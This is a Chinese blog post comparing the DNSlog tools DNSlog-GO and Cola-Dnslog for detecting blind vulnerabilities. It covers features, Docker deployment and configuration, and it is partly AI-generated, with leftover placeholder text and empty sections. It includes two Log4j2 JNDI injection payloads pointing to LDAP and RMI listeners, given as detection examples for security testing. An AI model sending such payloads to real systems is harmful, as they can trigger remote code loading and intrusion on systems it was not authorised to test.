DNSlog-GO vs Cola-Dnslog：404StarLink日志工具横向对比-优快云博客

DNSlog-GO vs Cola-Dnslog：404StarLink日志工具横向对比

【免费下载链接】404StarLink 404StarLink - 推荐优质、有意义、有趣、坚持维护的安全开源项目项目地址: https://gitcode.com/GitHub_Trending/40/404StarLink

在网络安全测试中，DNSlog（DNS日志）工具是检测无回显漏洞的重要辅助手段。404StarLink项目收录了多款优秀的DNSlog工具，其中DNSlog-GO和Cola-Dnslog是两款功能互补的热门工具。本文将从技术特性、部署难度、使用场景三个维度进行深度对比，帮助安全测试人员选择最适合的日志监控方案。

技术特性对比

核心功能矩阵

功能特性	DNSlog-GO	Cola-Dnslog
开发语言	Golang	Python
支持协议	DNS	DNS/HTTP/LDAP/RMI
多用户支持	基础多用户管理	完善用户体系
通知机制	无	钉钉机器人/Bark推送
数据存储	内存存储	SQLite
最新版本	v2.2.0 (2025-08-22)	v0.0.1 (2022-08-29)

协议支持深度分析

DNSlog-GO专注于DNS协议监控，采用Golang高性能网络库实现，支持每秒万级DNS查询处理。其2.2.0版本新增LDAP/RMI协议的Payload生成功能，但仍需依赖第三方服务接收日志。

Cola-Dnslog则构建了完整的多协议日志接收体系，通过FastAPI框架实现HTTP(80端口)、LDAP(1389端口)、RMI(1099端口)的原生支持。以Log4j2漏洞检测为例，可直接构造以下Payload：

${jndi:ldap://1.1.1.1:1389/ldapqrq}
${jndi:rmi://1.1.1.1:1099/rmiqrq}

部署与使用体验

部署复杂度对比

DNSlog-GO提供极简部署方案，Docker命令一行启动：

docker run -d -p 53:53 -p 53:53/udp -p 8000:8000 -v `pwd`/config.yaml:/DNSlog-GO/config.yaml --name dnslog --privileged lanyi1998/dnslog-go:latest

Cola-Dnslog采用微服务架构，需配置DNS域名服务器，推荐使用docker-compose部署：

version: '3'
services:
  server:
    environment:
      DNS_DOMAIN: example.com
      SERVER_IP: 1.1.1.1
      LDAP_PORT: 1389
      RMI_PORT: 1099

管理界面体验

DNSlog-GO提供轻量级Web控制台，支持查询记录实时展示与导出： THE 0TH POSITION OF THE ORIGINAL IMAGE

Cola-Dnslog则采用Vue-Element-Admin构建管理后台，提供多维度日志可视化：

场景化选择指南

总结与展望

两款工具均已收录于404StarLink项目的漏洞评估工具集。DNSlog-GO以"轻快准"为特色，适合快速验证；Cola-Dnslog则以"全而强"为优势，适合深度测试。建议根据实际场景组合使用，例如：用Cola-Dnslog搭建基础平台，配合DNSlog-GO作为临时测试节点。

随着无回显漏洞检测技术发展，未来工具将向AI辅助分析、自动化Payload生成方向演进。404StarLink项目也将持续跟踪收录更多创新安全工具，可通过项目README获取最新动态。

本文所有工具均已开源，项目地址：https://gitcode.com/GitHub_Trending/40/404StarLink

【免费下载链接】404StarLink 404StarLink - 推荐优质、有意义、有趣、坚持维护的安全开源项目项目地址: https://gitcode.com/GitHub_Trending/40/404StarLink

创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考

DNSlog-GO vs Cola-Dnslog：404StarLink日志工具横向对比